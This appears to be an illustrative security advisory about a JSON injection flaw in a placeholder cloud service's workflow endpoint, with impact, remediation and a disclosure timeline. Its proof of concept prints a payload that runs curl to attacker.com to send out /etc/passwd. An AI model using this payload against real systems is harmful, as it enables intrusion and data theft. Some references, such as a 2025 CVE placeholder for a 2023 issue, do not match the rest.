Remote Code Execution in Example Cloud Service

Summary

A critical vulnerability was discovered in Example Cloud Service’s API endpoint that processes user input for custom workflows. The vulnerability allows remote attackers to execute arbitrary code by sending specially crafted JSON payloads to the /api/v2/workflows/execute endpoint.

Vulnerability Details

The vulnerability exists due to improper validation of user-supplied JSON data in the workflow execution engine. When processing a workflow configuration, the application passes certain JSON fields directly to an internal eval()-like function without proper sanitization.

Affected versions (4.2-5.1) of the Example Cloud Service fail to properly validate the customScript parameter in workflow definitions, allowing attackers to break out of the intended execution context.

Proof of Concept

The following HTTP request demonstrates the vulnerability:

POST /api/v2/workflows/execute HTTP/1.1
Host: example-cloud.com
Content-Type: application/json
Authorization: Bearer [VALID_TOKEN]

{
  "workflowName": "data-processor",
  "parameters": {
    "customScript": "');process.mainModule.require('child_process').execSync('curl https://attacker.com/exfil/$(cat /etc/passwd)');//"
  }
}

This request injects malicious JavaScript code that will be executed on the server, exfiltrating the contents of the /etc/passwd file to a remote server controlled by the attacker.

Impact

Successful exploitation allows attackers to:

1. Execute arbitrary code on the affected server
2. Access sensitive data in the application context
3. Potentially pivot to other systems in the internal network
4. Establish persistence through various techniques

The vulnerability has received a CVSS 3.1 Base Score of 9.8 (Critical).

Remediation

Example Corp has addressed this vulnerability in version 5.2 of Example Cloud Service by:

1. Implementing strict input validation for all workflow parameters
2. Replacing the eval-based execution engine with a sandboxed execution environment
3. Adding additional security controls to prevent command injection

Users are strongly advised to upgrade to version 5.2 or later as soon as possible.

Timeline

• 2023-09-18: Vulnerability discovered during security research
• 2023-09-20: Initial report sent to Example Corp security team
• 2023-10-01: Vulnerability confirmed by vendor
• 2023-10-28: Patch developed and tested
• 2023-11-02: Patch released in version 5.2
• 2023-11-15: Public disclosure

References

1. Example Corp Security Advisory
2. CVE-2025-XXXXX in National Vulnerability Database
3. MITRE ATT&CK - Server-Side Request Forgery

Acknowledgements

This vulnerability was discovered and reported by 0daysec security research team.